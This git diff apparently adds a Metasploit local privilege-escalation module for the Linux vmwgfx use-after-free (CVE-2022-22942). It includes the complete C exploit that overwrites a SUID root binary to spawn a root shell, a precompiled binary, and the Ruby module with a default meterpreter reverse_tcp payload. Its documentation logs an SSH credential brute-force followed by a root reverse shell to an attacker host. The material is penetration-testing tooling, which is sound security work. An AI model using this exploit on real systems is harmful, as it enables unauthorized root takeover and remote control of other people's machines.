diff --git a/data/exploits/CVE-2022-22942/cve-2022-22942-dc.c b/data/exploits/CVE-2022-22942/cve-2022-22942-dc.c new file mode 100644 index 0000000000..cf6b082fa1 --- /dev/null +++ b/data/exploits/CVE-2022-22942/cve-2022-22942-dc.c @@ -0,0 +1,601 @@ +/* The vmwgfx driver has a similar bug as the one we fixed last year in the + * nitro enclaves code (https://git.kernel.org/linus/f1ce3986baa6 + * "nitro_enclaves: Fix stale file descriptors on failed usercopy"). + * + * If the driver fails to copy the 'fence_rep' object to userland, it tries to + * recover by deallocating the (already populated) file descriptor. This is + * wrong, as the fd gets released via put_unused_fd() which shouldn't be used, + * as the fd table slot was already populated via the previous call to + * fd_install(). This leaves userland with a valid fd table entry pointing to + * a free'd 'file' object. + * + * There are multiple ways to exploit this bug. A previous version of this PoC + * dumped the contents of /etc/shadow. This one overwrites a SUID root binary + * to pop a shell. + * + * Compile as: + * $ gcc -O2 cve-2022-22942-dc.c -o cve-2022-22942-dc + * + * Run as (and wait for the root shell to appear): + * $ ./cve-2022-22942-dc [target_file [temp_file [dev_node]]] + * + * Remarks: + * + * This POC assumes it has access to '/dev/dri/card0' which likely means the + * calling user needs to be part of the 'video' group. + * + * Alternatively '/dev/dri/renderD128' can be used (just pass the path as + * argument to ./cve-2022-22942-dc-dc), which, under Debian, means being part + * of the 'render' group. + * + * This bug was fixed by commit a0f90c881570 ("drm/vmwgfx: Fix stale file + * descriptors on failed usercopy"). It affected kernel versions v4.14-rc1 to + * v5.17-rc1. + * + * This is CVE-2022-22942. + * + * (c) 2022 Open Source Security, Inc. + * + * - minipli + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* uapi/drm/drm.h */ +#define DRM_IOCTL_BASE 'd' +#define DRM_IOW(nr,type) _IOW(DRM_IOCTL_BASE,nr,type) +#define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type) +#define DRM_COMMAND_BASE 0x40 + +#define DRM_IOCTL_VERSION DRM_IOWR(0x00, struct drm_version) +struct drm_version { + int version_major; + int version_minor; + int version_patchlevel; + size_t name_len; + char *name; + size_t date_len; + char *date; + size_t desc_len; + char *desc; +}; + +/* uapi/drm/vmwgfx_drm.h */ +#define DRM_VMW_EXECBUF 12 +#define DRM_VMW_EXECBUF_VERSION 2 +#define DRM_VMW_EXECBUF_FLAG_EXPORT_FENCE_FD (1 << 1) +#define DRM_VMW_INVALID_CTX_HNDL (-1) + +#define DRM_IOCTL_VMW_EXECBUF \ + DRM_IOW(DRM_COMMAND_BASE + DRM_VMW_EXECBUF, struct drm_vmw_execbuf_arg) +struct drm_vmw_execbuf_arg { + uint64_t commands; + uint32_t command_size; + uint32_t throttle_us; + uint64_t fence_rep; + uint32_t version; + uint32_t flags; + uint32_t context_handle; + int32_t imported_fence_fd; +}; + +#define array_size(x) (sizeof(x)/sizeof*(x)) + +#define FENCE_REP_PTR 0x42 +#define VMWGFX_DRV_NAME "vmwgfx" +#define VMWGFX_DEV "/dev/dri/card0" +#define NULL_DEV "/dev/null" +#define SUID_TARGET "/bin/chfn" // use /bin/chage for RHEL/CentOS +#define TEMP_FILE "/var/tmp/cake" + +static char *suid_path = SUID_TARGET; +static char *temp_path = TEMP_FILE; +static char *dev_path = VMWGFX_DEV; +static char stale_fd_path[64]; + +static const void *prog_addr, *suid_addr; +static size_t prog_size, suid_size; + +#define NUM_FILES 32 +static int files[NUM_FILES]; + +static void open_files(const char *path, int flags, mode_t mode, bool temp) { + unsigned int i; + + for (i = 0; i < array_size(files); i++) { + files[i] = open(path, flags, mode); + if (files[i] < 0) + err(1, "open('%s', %hx, %hx)", path, flags, mode); + + if (temp) { + unlink(path); + + if (ftruncate(files[i], prog_size)) + err(1, "ftruncate()"); + } + } +} + +static void close_files(unsigned int except) { + unsigned int i; + + for (i = 0; i < array_size(files); i++) { + if ((unsigned int)files[i] == except) + continue; + + if (close(files[i])) + err(1, "close(fd=%d)", files[i]); + } +} + +static int find_file(ino_t ino) { + struct stat buf; + unsigned int i; + + for (i = 0; i < array_size(files); i++) { + if (fstat(files[i], &buf)) + err(1, "stat(fd=%d)", files[i]); + + if (buf.st_ino == ino) + return files[i]; + } + + return -1; +} + +static bool is_suid(const char *path) { + struct stat buf; + + if (stat(path, &buf)) + return false; + + return buf.st_uid == 0 && (buf.st_mode & 04111) == 04111; +} + +static bool pin_cpu(int cpu) { + cpu_set_t cpus; + + CPU_ZERO(&cpus); + CPU_SET(cpu, &cpus); + + return !!sched_setaffinity(0, sizeof(cpus), &cpus); +} + +static void *map_file(const char *path, size_t *len) { + struct stat sb; + void *addr; + size_t i; + int fd; + + printf("[~] creating r/o mapping of %s...\n", path); + fd = open(path, O_RDONLY); + if (fd < 0) + err(1, "open(%s)", path); + + if (fstat(fd, &sb)) + err(1, "stat(%s)", path); + + *len = sb.st_size; + addr = mmap(NULL, *len, PROT_READ, MAP_SHARED, fd, 0); + if (addr == MAP_FAILED) + err(1, "mmap(%s)", path); + + /* fault in the pages to pre-load the binary */ + for (i = 0; i < *len; i += 4096) + *(volatile char *)(addr + i); + + close(fd); + + return addr; +} + +static int get_stale_fd(const char *dev_path) { + static char name[256], date[256], desc[256]; + static struct drm_version drm_info = { + .name = name, .name_len = sizeof(name), + .desc = desc, .desc_len = sizeof(desc), + .date = date, .date_len = sizeof(date), + }; + static struct drm_vmw_execbuf_arg exec_buf = { + .version = DRM_VMW_EXECBUF_VERSION, + .context_handle = DRM_VMW_INVALID_CTX_HNDL, + .flags = DRM_VMW_EXECBUF_FLAG_EXPORT_FENCE_FD, + .fence_rep = FENCE_REP_PTR, + }; + static int vmw_fd = -1; + int fd; + + if (vmw_fd < 0) { + printf("[~] vmwgfx setup using %s...\n", dev_path); + vmw_fd = open(dev_path, O_WRONLY); + if (vmw_fd < 0) + err(1, "open(%s)", dev_path); + + if (ioctl(vmw_fd, DRM_IOCTL_VERSION, &drm_info) != 0) + err(1, "ioctl(DRM_IOCTL_VERSION) unexpectedly failed"); + + if (strcmp(drm_info.name, VMWGFX_DRV_NAME) != 0) { + errx(1, "wrong driver, should be '%s' but is '%s'", + VMWGFX_DRV_NAME, drm_info.name); + } + printf("[+] confirmed to be targeting the right driver\n"); + } + + fd = open(NULL_DEV, O_RDONLY); + if (fd < 0) + err(1, "open(%s)", NULL_DEV); + close(fd); + printf("[~] predicted fence fd = %d\n", fd); + snprintf(stale_fd_path, sizeof(stale_fd_path), "/proc/self/fd/%d", fd); + + printf("[~] triggering fence fd export...\n"); + if (ioctl(vmw_fd, DRM_IOCTL_VMW_EXECBUF, &exec_buf) != 0) + err(1, "ioctl(DRM_IOCTL_VMW_EXECBUF) unexpectedly failed"); + + return fd; +} + +static bool check_fd(int fd, const char *path, ino_t *ino) { + char buf[1024]; + struct stat sb; + ssize_t len; + + /* Do non-faulting checks first -- using an invalid address ;) */ + errno = 0; + if (write(fd, (void *)~0xdead, 42) >= 0 || errno != EFAULT) + return false; + + /* We open the file with exactly these flags */ + if ((fcntl(fd, F_GETFL) & O_RDWR) != O_RDWR) + return false; + + len = readlink(stale_fd_path, buf, sizeof(buf) - 1); + if (len < 0) + return false; + + buf[len] = '\0'; + if (strncmp(buf, path, strlen(path)) != 0) + return false; + + if (fstat(fd, &sb) != 0) + return false; + + *ino = sb.st_ino; + + return true; +} + +static void __read_pipe(int fd, void *buf, size_t len, const char *what, const char *caller) { + ssize_t cnt; + + cnt = read(fd, buf, len); + if (cnt < 0) + err(1, "%s: read(%s)", caller, what); + + if (cnt == 0) + errx(2, "%s: read(%s) EOF, other side died?", caller, what); + + if ((size_t)cnt != len) + errx(1, "%s: short read(%s): got %zd, want %zu", caller, what, cnt, len); +} +#define read_pipe(p,o) __read_pipe(p[0], &o, sizeof(o), #o, __func__) + +static void __write_pipe(int fd, const void *buf, size_t len, const char *what, const char *caller) { + ssize_t cnt; + + cnt = write(fd, buf, len); + if (cnt < 0) + err(1, "%s: write(%s)", caller, what); + + if (cnt == 0) + errx(2, "%s: write(%s) EOF, other side died?", caller, what); + + if ((size_t)cnt != len) + errx(1, "%s: short write(%s): got %zd, want %zu", caller, what, cnt, len); +} +#define write_pipe(p,o) __write_pipe(p[1], &o, sizeof(o), #o, __func__) + +static void stale_fd_worker(int pipe[2]) { + bool write_ino = false; + int stale_fd = -1; + char state = '0'; + ino_t ino; + + do { + switch (state) { + case '0': + stale_fd = get_stale_fd(dev_path); + /* ensure an RCU GP has passed and the file was returned to the cache */ +// usleep(150 * 1000); + sleep(1); + printf("[~] RCU GP passed and file object released -- by now or soon!\n"); + state++; + break; + + case '2': + printf("[~] probing stale fd for a match...\n"); + if (check_fd(stale_fd, temp_path, &ino)) { + write_ino = true; + state++; + } else { + state--; + } + break; + + case '4': + printf("[~] closing stale fd...\n"); + /* This close will drop the reference of the mmap() of stage + * '3' and make its file pointer dangling. + */ + close(stale_fd); + + /* ensure an RCU GP has passed and the file was released to the cache */ +// usleep(150 * 1000); + sleep(1); + printf("[~] RCU GP passed and file object released again -- hopefully!\n"); + state++; + break; + + default: + errx(1, "%s: invalid state '%c'", __func__, state); + } + + write_pipe(pipe, state); + if (write_ino) { + write_ino = false; + write_pipe(pipe, ino); + } + read_pipe(pipe, state); + } while (state < '6'); + + printf("[~] %s: done\n", __func__); + exit(memcmp(suid_addr, prog_addr, prog_size)); +} + +static void mmap_worker(int pipe[2]) { + bool files_open = false; + void *addr = NULL; + sigset_t set; + char state; + ino_t ino; + int fd; + + do { + read_pipe(pipe, state); + + switch (state) { + case '1': + if (files_open) { + files_open = false; + close_files(-1); + usleep(20 * 1000); + } + printf("[~] opening some r/w files for %s\n", temp_path); + open_files(temp_path, O_RDWR | O_CREAT | O_TRUNC, 0600, true); + files_open = true; + state++; + break; + + case '3': + /* found it! */ + read_pipe(pipe, ino); + + fd = find_file(ino); + if (fd < 0) { + printf("[-] failed to find candidate with ino %#lx, retrying\n", ino); + state = '1'; + /* no need to bounce, retry directly */ + continue; + } + + printf("[+] found match at fd %d\n", fd); + close_files(fd); + + printf("[~] creating r/w mapping...\n"); + addr = mmap(NULL, prog_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); + if (addr == MAP_FAILED) + err(1, "mmap()"); + + close(fd); + state++; + break; + + case '5': + printf("[~] opening some r/o files for %s\n", suid_path); + open_files(suid_path, O_RDONLY, 0, false); + + /* We hope to have reallocated the dangling file once more! */ + printf("[*] trying to overwrite code in %s\n", suid_path); + memcpy(addr, prog_addr, prog_size); + //msync(addr, prog_size, MS_SYNC | MS_INVALIDATE); + printf("[~] %s: done\n", __func__); + state++; + break; + + default: + errx(1, "%s: invalid state '%c'", __func__, state); + } + + write_pipe(pipe, state); + } while (state < '6'); + + /* The 'addr' mapping is using a dangling file pointer, i.e. one with an + * off-by-one reference count. Terminating the process will thereby lead to + * a warning in the vfs code: "VFS: Close: file count is 0" or worse, + * tripping over DEBUG_LIST checks leading to an Oops. + * + * To avoid these, turn into a ghost, detach from the process hierachy and + * daemonize. + */ + //exit(memcmp(suid_addr, prog_addr, prog_size)); + + setsid(); + + close(0); + close(1); + close(2); + close(pipe[0]); + close(pipe[1]); + prctl(PR_SET_NAME, "bogeyman", 0, 0, 0); + + sigfillset(&set); + sigprocmask(SIG_BLOCK, &set, NULL); + + for (;;) + pause(); +} + +static void spawn_worker(void) { + int state_fd[2][2]; + + if (pipe(state_fd[0]) < 0 || pipe(state_fd[1]) < 0) + err(1, "pipe()"); + + switch (fork()) { + default: + close(state_fd[0][1]); + close(state_fd[1][0]); + stale_fd_worker((int [2]) { state_fd[0][0], state_fd[1][1] }); + break; + + case 0: + close(state_fd[0][0]); + close(state_fd[1][1]); + mmap_worker((int [2]) { state_fd[1][0], state_fd[0][1] }); + break; + + case -1: + err(1, "fork()"); + } + + /* not reached */ + exit(1); +} + +int main(int argc, char **argv) { + static const char proc_self_exe[] = "/proc/self/exe"; + + if (!getuid()) + errx(1, "ahem..."); + + if (!geteuid()) { + setuid(0); + setgid(0); + execve("/bin/sh", (char *const []){ "-sh", NULL }, NULL); + err(1, "execve(%s)", SUID_TARGET); + } + + if (argc >= 2) + suid_path = argv[1]; + + if (argc >= 3) + temp_path = argv[2]; + + if (argc >= 4) + dev_path = argv[3]; + + if (!is_suid(suid_path)) + errx(1, "%s isn't suid root, choose another target", suid_path); + + suid_addr = map_file(suid_path, &suid_size); + prog_addr = map_file(proc_self_exe, &prog_size); + + if (suid_size < prog_size) { + errx(1, "size of %s too small, need %zuB, but only have %zuB", + suid_path, prog_size, suid_size); + } + + /* Ensure all subprocesses share the same SLUB's partial lists */ + if (pin_cpu(sched_getcpu())) + err(1, "failed to pin to CPU"); + + /* Span two subprocesses that lock step a state machine: + * P1: triggers the bug to get a stale fd entry + * + * P2: opens a bunch of r/w temporary files to reallocate the file object + * + * P1: checks if one of the fds reallocated the dangling file pointer and + * signals P2 which + * + * P2: creates a r/w mapping of the fd that matches the reallocated file + * pointer and closes all opened files + * + * P1: uses its stale fd entry to put the file attached to P2's mapping to + * make it dangling again + * + * P2: opens the target file r/o multiple times to reallocate the just + * released file object + * P2: copies this program over the previously created mapping (now + * pointing to the victim file instead of the temporary file) + * + * P1: signals success / failure to the observer by checking if the victim + * file was overwritten + * + * Wait for them to exit / die and check the return status. If it's zero, + * terminate the loop, we're done. + */ + + /* Do the dirty work in subprocesses, to not accidentally die along */ + printf("[~] spawning helper processes...\n"); + switch (fork()) { + case -1: err(1, "fork()"); + case 0: spawn_worker(); + } + +retry: /* Reap all the zombies... */ + switch (wait(NULL)) { + case -1: + switch (errno) { + case EINTR: goto retry; + case ECHILD: break; + default: err(1, "wait()"); + } + break; + default: + /* continue reaping... */ + goto retry; + } + + if (memcmp(suid_addr, prog_addr, prog_size)) + errx(1, "failed to overwrite %s :(", suid_path); + + printf("[$] success, spawning shell...\n"); + + /* Should be a suid root version of us by now */ + execve(suid_path, (char *const []){ suid_path, NULL }, NULL); + err(1, "execve(%s)", suid_path); + + return 0; +} \ No newline at end of file diff --git a/data/exploits/CVE-2022-22942/pre_compiled b/data/exploits/CVE-2022-22942/pre_compiled new file mode 100644 index 0000000000..19b05ee149 Binary files /dev/null and b/data/exploits/CVE-2022-22942/pre_compiled differ diff --git a/documentation/modules/exploit/linux/local/vmwgfx_fd_priv_esc.md b/documentation/modules/exploit/linux/local/vmwgfx_fd_priv_esc.md new file mode 100644 index 0000000000..e5c61298eb --- /dev/null +++ b/documentation/modules/exploit/linux/local/vmwgfx_fd_priv_esc.md @@ -0,0 +1,115 @@ +## Vulnerable Application + +If the vmwgfx driver fails to copy the 'fence_rep' object to userland, it tries to +recover by deallocating the (already populated) file descriptor. This is +wrong, as the fd gets released via put_unused_fd() which shouldn't be used, +as the fd table slot was already populated via the previous call to +fd_install(). This leaves userland with a valid fd table entry pointing to +a free'd 'file' object. + +We use this bug to overwrite a SUID binary with our payload and gain root. +Linux kernel 4.14-rc1 - 5.17-rc1 are vulnerable. + +Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic. + +### Install + +To install a vulnerable kernel on Ubuntu 22.04.01, follow these instructions: + +1. Download the `linux-*` modules for a vulnerable kernel, such as https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.13.12/amd64/ +2. Install `libssl.1` (https://askubuntu.com/a/1403683) + 1. `echo "deb http://security.ubuntu.com/ubuntu focal-security main" | sudo tee /etc/apt/sources.list.d/focal-security.list` + 2. `sudo apt-get update` + 3. `sudo apt-get install libssl1.1` + 4. `sudo rm /etc/apt/sources.list.d/focal-security.list` +3. `sudo apt-get install build-essential` +4. `sudo dpkg -i *.deb` +5. Follow [these instructions](https://gist.github.com/chaiyujin/c08e59752c3e238ff3b1a5098322b363) to boot the vuln kernel +6. `sudo reboot` + +## Verification Steps + +1. Start msfconsole +2. Get an initial user shell +3. Do: `use linux/local/vmwgfx_fd_priv_esc` +4. Do: `set session [#]` +5. Do: `run` +6. You should get a root shell. + +## Options + +## Scenarios + +### Ubuntu 22.04.01 with kernel 5.13.12-051312-generic + +Gain initial user access + +``` +msf6 > use auxiliary/scanner/ssh/ssh_login +msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +msf6 auxiliary(scanner/ssh/ssh_login) > set username ubuntu +username => ubuntu +msf6 auxiliary(scanner/ssh/ssh_login) > set password ubuntu +password => ubuntu +msf6 auxiliary(scanner/ssh/ssh_login) > run + +[*] 1.1.1.1:22 - Starting bruteforce +[+] 1.1.1.1:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd) Linux ubuntu2204 5.13.12-051312-generic #202108180838 SMP Wed Aug 18 08:41:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux ' +[*] SSH session 1 opened (2.2.2.2:40003 -> 1.1.1.1:22) at 2022-11-25 08:47:08 -0500 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1 +[*] Starting interaction with 1... + +id +uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd) +^Z +Background session 1? [y/N] y +``` + +priv esc + +``` +msf6 auxiliary(scanner/ssh/ssh_login) > use linux/local/vmwgfx_fd_priv_esc +[*] Using configured payload linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > set verbose true +verbose => true +msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > set session 1 +session => 1 +msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > set lhost 2.2.2.2 +lhost => 2.2.2.2 +msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > exploit + +[!] SESSION may not be compatible with this module: +[!] * incompatible session architecture: +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Kernel version 5.13.12-051312-generic appears to be vulnerable +[+] /dev/dri/card0 found writable +[+] /bin/chfn suid binary found +[+] The target appears to be vulnerable. vmwgfx installed +[+] Original /bin/chfn backed up to /root/.msf4/loot/20221125085335_default_1.1.1.1_binchfn_651737.bin +[+] gcc is installed +[*] Live compiling exploit on system... +[*] Max line length is 65537 +[*] Writing 10814 bytes in 1 chunks of 39254 bytes (octal-encoded), using printf +[*] Uploading payload to /tmp/.Qpm6q +[*] Writing '/tmp/.Qpm6q' (282 bytes) ... +[*] Max line length is 65537 +[*] Writing 282 bytes in 1 chunks of 843 bytes (octal-encoded), using printf +[*] Launching exploit... +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045348 bytes) to 1.1.1.1 +[*] Replacing trojaned /bin/chfn with original +[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:38250) at 2022-11-25 08:54:14 -0500 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 1.1.1.1 +OS : Ubuntu 22.04 (Linux 5.13.12-051312-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/modules/exploits/linux/local/vmwgfx_fd_priv_esc.rb b/modules/exploits/linux/local/vmwgfx_fd_priv_esc.rb new file mode 100644 index 0000000000..69b335c8a1 --- /dev/null +++ b/modules/exploits/linux/local/vmwgfx_fd_priv_esc.rb @@ -0,0 +1,178 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Post::Linux::Compile + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'vmwgfx Driver File Descriptor Handling Priv Esc', + 'Description' => %q{ + If the vmwgfx driver fails to copy the 'fence_rep' object to userland, it tries to + recover by deallocating the (already populated) file descriptor. This is + wrong, as the fd gets released via put_unused_fd() which shouldn't be used, + as the fd table slot was already populated via the previous call to + fd_install(). This leaves userland with a valid fd table entry pointing to + a free'd 'file' object. + + We use this bug to overwrite a SUID binary with our payload and gain root. + Linux kernel 4.14-rc1 - 5.17-rc1 are vulnerable. + + Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Mathias Krause' # original PoC, analysis + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => [ + [ 'URL', 'https://grsecurity.net/exploiting_and_defending_against_same_type_object_reuse' ], + [ 'URL', 'https://github.com/opensrcsec/same_type_object_reuse_exploits' ], + [ 'CVE', '2022-22942' ] + ], + 'DisclosureDate' => '2022-01-28', + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', + 'PrependFork' => true + }, + 'Notes' => { + 'Stability' => [CRASH_OS_DOWN], + 'Reliability' => [REPEATABLE_SESSION], + # seeing "BUG: Bad page cache in process pfn:<5 characters>" on console + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def check + # Check the kernel version to see if its in a vulnerable range + release = kernel_release + unless Rex::Version.new(release) > Rex::Version.new('4.14-rc1') && + Rex::Version.new(release) < Rex::Version.new('5.17-rc1') + return CheckCode::Safe("Kernel version #{release} is not vulnerable") + end + + vprint_good "Kernel version #{release} appears to be vulnerable" + + @driver = nil + + if writable?('/dev/dri/card0') # ubuntu + @driver = '/dev/dri/card0' + elsif writable?('/dev/dri/renderD128') # debian + @driver = '/dev/dri/renderD128' + else + return CheckCode::Safe('Unable to write to /dev/dri/card0 or /dev/dri/renderD128') + end + vprint_good("#{@driver} found writable") + + @suid_target = nil + if setuid?('/bin/chfn') # ubuntu + @suid_target = '/bin/chfn' + elsif writable?('/bin/chage') # RHEL/Centos + @suid_target = '/bin/chage' + else + return CheckCode::Safe('Unable to write to /bin/chfn or /bin/chage') + end + vprint_good("#{@suid_target} suid binary found") + + vmwgfx = cmd_exec('modinfo vmwgfx | grep version') + if vmwgfx.include? 'version' + return CheckCode::Appears('vmwgfx installed') + end + + CheckCode::Safe('Vulnerable driver (vmwgfx) not found') + end + + def exploit + # Check if we're already root + if is_root? && !datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' + end + + # Make sure we can write our exploit and payload to the local system + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + # backup the suid binary before we overwrite it + @suid_backup = read_file(@suid_target) + path = store_loot( + @suid_target, + 'application/octet-stream', + rhost, + @suid_backup, + @suid_target + ) + print_good("Original #{@suid_target} backed up to #{path}") + executable_name = ".#{rand_text_alphanumeric(5..10)}" + executable_path = "#{base_dir}/#{executable_name}" + if live_compile? + vprint_status 'Live compiling exploit on system...' + payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + + c_code = exploit_data('CVE-2022-22942', 'cve-2022-22942-dc.c') + c_code = c_code.gsub('/dev/dri/card0', @driver) # ensure the right driver device is called + c_code = c_code.gsub('/bin/chfn', @suid_target) # ensure we have our suid target + c_code = c_code.gsub('/proc/self/exe', payload_path) # change exe to our payload + + upload_and_compile executable_path, strip_comments(c_code) + register_files_for_cleanup(executable_path) + else + unless @suid_target == '/bin/chfn' + fail_with(Failure::BadConfig, 'Pre-compiled is only valid against Ubuntu based systems') + end + vprint_status 'Dropping pre-compiled exploit on system...' + payload_path = '/tmp/.aYd3GAMlK' + upload_and_chmodx executable_path, exploit_data('CVE-2022-22942', 'pre_compiled') + end + + # Upload payload executable + print_status("Uploading payload to #{payload_path}") + upload_and_chmodx payload_path, generate_payload_exe + register_files_for_cleanup(generate_payload_exe) + + print_status 'Launching exploit...' + output = cmd_exec executable_path, nil, 30 + output.each_line { |line| vprint_status line.chomp } + end + + # replace our suid target back to the original so we don't leave + def on_new_session(session) + super + if @suid_backup.nil? + print_bad("MANUAL replacement of trojaned #{@suid_target} is required.") + else + print_status("Replacing trojaned #{@suid_target} with original") + fd = session.fs.file.open(@suid_target, 'wb') + fd.write(@suid_backup) + fd.close + end + end +end